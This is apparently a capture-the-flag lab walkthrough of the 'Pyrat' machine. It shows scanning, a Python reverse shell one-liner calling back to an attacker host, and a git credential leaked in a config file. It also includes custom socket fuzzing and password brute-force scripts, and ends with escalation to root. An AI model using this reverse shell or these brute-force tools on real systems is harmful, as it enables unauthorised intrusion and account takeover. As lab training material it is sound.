

Pyrat



```
netdiscover -r 192.168.0.0/24
192.168.0.28  08:00:27:21:14:8c    1    60  PCS Systemtechnik GmbH
```

```
nmap -sS -p- -Pn -n -vvv 192.168.0.28
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 64
8000/tcp  open  http-alt syn-ack ttl 64
```

```
nmap -sCV -p22,8000 -Pn -n -vvv 192.168.0.28
PORT      STATE SERVICE REASON      VERSION
22/tcp    open  ssh     syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu)
| ssh-hostkey:
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQBAgQDMc4hLykriw3nBOsKHJK'
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
```

```

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdH
| 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8V
8000/tcp open  http-alt syn-ack ttl 64 SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A6
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, LANDesk-RC, Socks4, X1
|   source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions:
|   invalid syntax (<string>, line 1)
|   GetRequest:
|   name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|   name 'OPTIONS' is not defined
|   Help:
|   name 'HELP' is not defined
|   Kerberos:
|   'utf-8' codec can't decode byte 0x81 in position 5: invalid start byte
|   LDAPBindReq:
|   'utf-8' codec can't decode byte 0x80 in position 12: invalid start byte
|   LDAPSearchReq:
|   'utf-8' codec can't decode byte 0x84 in position 1: invalid start byte
|   RPCCheck:
|   'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
|   SMBProgNeg:
|   'utf-8' codec can't decode byte 0xa4 in position 3: invalid start byte
|   SSLSessionReq:
|   'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation by
|   Socks5:
|   'utf-8' codec can't decode byte 0x80 in position 5: invalid start byte
|   TLSSessionReq:
|   'utf-8' codec can't decode byte 0xa7 in position 13: invalid start byte
|   TerminalServerCookie:
|   'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation by
|_ http-methods:

```

whatweb 192.168.0.28:8000

http://192.168.0.28:8000 [200 OK] Country[RESERVED][ZZ], HTTPServer[Simple]

```
(root@kali)-[/home/guel]
# curl -s http://192.168.0.28:8000/
Try a more basic connection
```

```
(root@kali)-[/home/guel]
# nc 192.168.0.28 8000
GET / HTTP/1.1
name 'GET' is not defined

print(7*7)
49
```

```
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.36",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);o
s.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

(root@kali)-[/home/guel]
# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.0.36] from (UNKNOWN) [192.168.0.28] 34400
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Pyrat:~$
```

```
www-data@Pyrat:/opt/dev/.git$ ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think  21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think  296 Jun 21 2023 config
-rw-rw-r-- 1 think think  73 Jun 21 2023 description
-rw-rw-r-- 1 think think  23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think  145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
www-data@Pyrat:/opt/dev/.git$ cat config | grep 'password'
password = _TH1NKINGPirate$_
www-data@Pyrat:/opt/dev/.git$ cat config
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
[user]
    name = Jose Mario
    email = josemlwdf@github.com
[credential]
    helper = cache --timeout=3600
[credential "https://github.com"]
    username = think
    password = _TH1NKINGPirate$_
www-data@Pyrat:/opt/dev/.git$
```

```
think@Pyrat:~$ which git
/usr/bin/git
think@Pyrat:~$ cd /opt/dev/.git/
think@Pyrat:/opt/dev/.git$ git show
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000
```

Added shell endpoint

```
diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+.....
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_endpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aprooved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
```

```
think@Pyrat:/opt/dev/.git$ nc -v localhost 8000
Connection to localhost 8000 port [tcp/*] succeeded!
shell
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
$ ps -faux | grep 'pyrat.py'
ps -faux | grep 'pyrat.py'
root    1274  0.0  0.0   2608   592 ?        Ss   01:24   0:00 \_ /bin/sh -c python3 /root/pyrat.py 2>/dev/null
root    1275  0.0  0.7  22300 15184 ?        S    01:24   0:02 \_ python3 /root/pyrat.py
root    1276  0.0  0.6  390812 12660 ?        Sl   01:24   0:01 \_ python3 /root/pyrat.py
root    1346  4.3  0.5   22044 11832 ?        R    01:37   3:28 \_ python3 /root/pyrat.py
root    1348  4.5  0.5   22044 11836 ?        R    01:37   3:37 \_ python3 /root/pyrat.py
root    1350  4.5  0.5   22044 11772 ?        R    01:37   3:36 \_ python3 /root/pyrat.py
```

```
think@Pyrat:/opt/dev/.git$ nc -v localhost 8000
Connection to localhost 8000 port [tcp/*] succeeded!
asds
name 'asds' is not defined
sff
name 'sff' is not defined
```

me creo un script para fuzzear alguna palabra que me de otra respuesta q no sea is not defined. aqui el codigo y luego el resultado

```
import socket
import time
from datetime import datetime
import threading

# Configuración de rendimiento
MAX_THREADS = 50 # Ajusta según tu hardware
BATCH_SIZE = 1000 # Palabras por lote
TIMEOUT = 2 # Segundos

def worker(host, port, word_batch, results_file, progress_counter):
    s = None
    for word in word_batch:
        retries = 3
        while retries > 0:
            try:
                if s is None:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(TIMEOUT)
                    s.connect((host, port))

                # Enviar y recibir
                s.sendall((word + "\n").encode('latin-1'))
                data = s.recv(4096).decode('latin-1').strip()
```

```

        # Verificar respuesta interesante
        if not data or "is not defined" not in data:
            with threading.Lock():
                with open(results_file, 'a', encoding='utf-8') as f:
                    f.write(f"Respuesta para: {word}\n")
                    f.write(f"Respuesta: {data}\n{' '*50}\n")
            break

    except (socket.timeout, ConnectionResetError, BrokenPipeError):
        retries -= 1
        if s: s.close()
        s = None
        time.sleep(1)
        continue

    except Exception as e:
        print(f"\n[!] Error grave: {e}")
        break

# Actualizar progreso
with progress_counter['lock']:
    progress_counter['value'] += 1
    if progress_counter['value'] % 1000 == 0:
        print(f"\r[*] Progreso: {progress_counter['value']:}/{progress_count
              f"({progress_counter['value']/progress_counter['total']:.2%})", end='')

if s: s.close()

def fuzz_netcat(host, port, dictionary_file, output_file="results.txt"):
    # Leer el diccionario
    print("[*] Cargando diccionario...")
    with open(dictionary_file, 'r', encoding='latin-1', errors='ignore') as f:
        words = [line.strip() for line in f if line.strip()]

    total_words = len(words)
    print(f"[*] Total palabras: {total_words:,}")

```

```

# Inicializar archivo de resultados
with open(output_file, 'w', encoding='utf-8') as f:
    f.write(f"Fuzzing results - {datetime.now()}\n")
    f.write(f"Target: {host}:{port}\n")
    f.write(f"Dictionary: {dictionary_file}\n{' '*50}\n\n")

# Preparar contador de progreso compartido
progress_counter = {
    'value': 0,
    'total': total_words,
    'lock': threading.Lock()
}

# Procesar por lotes con threads
print("[*] Iniciando fuzzing (multithread)...")
start_time = time.time()
batch_start = 0

while batch_start < total_words:
    threads = []
    current_batch_size = min(BATCH_SIZE, total_words - batch_start)

    # Crear workers para este lote
    for i in range(min(MAX_THREADS, current_batch_size)):
        batch_end = batch_start + (current_batch_size // MAX_THREADS)
        if i == MAX_THREADS - 1:
            batch_end = batch_start + current_batch_size

        word_batch = words[batch_start:batch_end]
        t = threading.Thread(
            target=worker,
            args=(host, port, word_batch, output_file, progress_counter)
        )
        threads.append(t)
        t.start()
        batch_start = batch_end

    # Esperar a que terminen los threads del lote actual

```



```

        for t in threads:
            t.join()

    # Pequeña pausa entre lotes
    time.sleep(0.5)

# Estadísticas finales
elapsed = time.time() - start_time
words_per_sec = total_words / elapsed if elapsed > 0 else 0

print(f"\n\n[+] Fuzzing completado en {elapsed:.2f} segundos")
print(f"[+] Velocidad: {words_per_sec:.2f} palabras/segundo")
print(f"[+] Resultados guardados en: {output_file}")

if __name__ == "__main__":
    import argparse

    parser = argparse.ArgumentParser(description='Fuzzer optimizado multithr
    parser.add_argument('host', help='Host objetivo')
    parser.add_argument('port', type=int, help='Puerto objetivo')
    parser.add_argument('dictionary', help='Archivo de diccionario')
    parser.add_argument('-o', '--output', help='Archivo de salida', default="resu
    parser.add_argument('-t', '--threads', type=int, help='Número de threads', c
    args = parser.parse_args()

    MAX_THREADS = args.threads
    fuzz_netcat(args.host, args.port, args.dictionary, args.output)

```

```

think@Pyrat: /opt/dev/.git  root@kali: /usr/share/seclists/Passwords/Common-Credentials
think@Pyrat:/opt/dev/.git$ python3 fuz.py localhost 8000 common-passwords-win.txt
[*] Iniciando fuzzing contra localhost:8000
[*] Total de palabras en diccionario: 815
[*] Conectando ... (Palabra 1/815)
[!] Error con la palabra: aaa
[*] Conectando ... (Palabra 3/815)s: 0 | Última: abc
[!] Error con la palabra: academia
[*] Conectando ... (Palabra 6/815)s: 0 | Última: accessic
[!] Error con la palabra: ada
[*] Conectando ... (Palabra 7/815)
[+] Respuesta interesante #1 para: admin
[+] Respuesta del servidor:
Password:

```

lets make an script to send words to Passwords

```
import socket
import time
import sys
import re

# Configuración global
TIMEOUT = 3
DELAY = 0.05
RETRY_INTERVAL = 3 # Reintentar cada 3 intentos
INVALID_PATTERNS = [
    r'^Password:$',
    r"name '.*' is not defined",
    r'^$',
    r'invalid syntax',
    r'SyntaxError'
]

def fuzz_password(host, port, dict_file):
    try:
        line_num = 0
        with open(dict_file, 'r', encoding='latin-1', errors='ignore') as f:
            passwords = [p.strip() for p in f if p.strip()]
            total_passwords = len(passwords)

        while line_num < total_passwords:
            # Crear nueva conexión cada RETRY_INTERVAL intentos
            if line_num % RETRY_INTERVAL == 0:
                if line_num > 0: # No es el primer intento
                    print(f"\n[*] Reconectando (intento {line_num})...")
                try:
                    s.close()
                except:
                    pass

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(TIMEOUT)
            s.connect((host, port))
            s.send(passwords[line_num].encode('latin-1'))
            s.close()
            line_num += 1
            time.sleep(DELAY)
```

```

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(TIMEOUT)
try:
    s.connect((host, port))
    # Autenticación inicial
    s.sendall(b"admin\n")
    time.sleep(0.2)
    s.recv(1024) # Leer hasta Password:
except Exception as e:
    print(f"[!] Error de conexión: {e}")
    time.sleep(1)
    continue

password = passwords[line_num]

try:
    # Enviar contraseña
    s.sendall(password.encode() + b"\n")
    response = s.recv(4096).decode().strip()

    # Mostrar progreso
    print(f"[Línea {line_num+1}] {password} → {response[:100]}", end=

    # Verificar respuesta
    if not any(re.match(p, response) for p in INVALID_PATTERNS):
        print(f"\n\n[+] ¡PWND! Línea {line_num+1}: {password}")
        print(f"[+] Respuesta válida: {response}")
        return

except (socket.timeout, ConnectionResetError) as e:
    print(f"\n[!] Error en línea {line_num+1}: {e}")
    time.sleep(1)
    continue

line_num += 1
time.sleep(DELAY)

print("\n[!] Fin del diccionario - No se encontró respuesta válida")

```

```

except KeyboardInterrupt:
    print("\n[!] Detenido por el usuario")
except Exception as e:
    print(f"\n[!] Error general: {e}")
finally:
    try:
        s.close()
        print("[*] Conexión cerrada")
    except:
        pass

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Uso: python3 fuzzer_reconexion.py <host> <port> <diccionario>")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2])
    dict_file = sys.argv[3]

    print(f"[*] Target: {host}:{port}")
    print(f"[*] Diccionario: {dict_file}")
    print(f"[*] Reconectando cada {RETRY_INTERVAL} intentos\n")

    fuzz_password(host, port, dict_file)

```

```

[Línea 185] ricardo → Password:
[!] Error en línea 186: timed out
[Línea 186] babygurl → name 'babygurl' is not defined
[*] Reconnectando (intento 186)...
[Línea 188] 55555 → Password::
[!] Error en línea 189: timed out
[Línea 189] baseball → name 'baseball' is not defined
[*] Reconnectando (intento 189)...
[Línea 191] greenday → Password:
[!] Error en línea 192: timed out
[Línea 192] november → name 'november' is not defined
[*] Reconnectando (intento 192)...
[Línea 194] madison → Password:
[!] Error en línea 195: timed out
[Línea 195] mother → name 'mother' is not defined
[*] Reconnectando (intento 195)...
[Línea 197] 123abc → Password:
[!] Error en línea 198: timed out
[Línea 198] mahalkita → name 'mahalkita' is not defined
[*] Reconnectando (intento 198)...
[Línea 200] september → Welcome Admin!!! Type "shell" to begin

[+] ¡PWND! Línea 200: september
[+] Respuesta válida: Welcome Admin!!! Type "shell" to begin
[*] Conexión cerrada
think@Pyrat:/opt/dev/.git$

```

```

think@Pyrat:/opt/dev/.git$ nc localhost 8000
admin
Password:
september
Welcome Admin!!! Type "shell" to begin
shell
if# ^H
if^H
/bin/sh: 1: i: not found
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt

```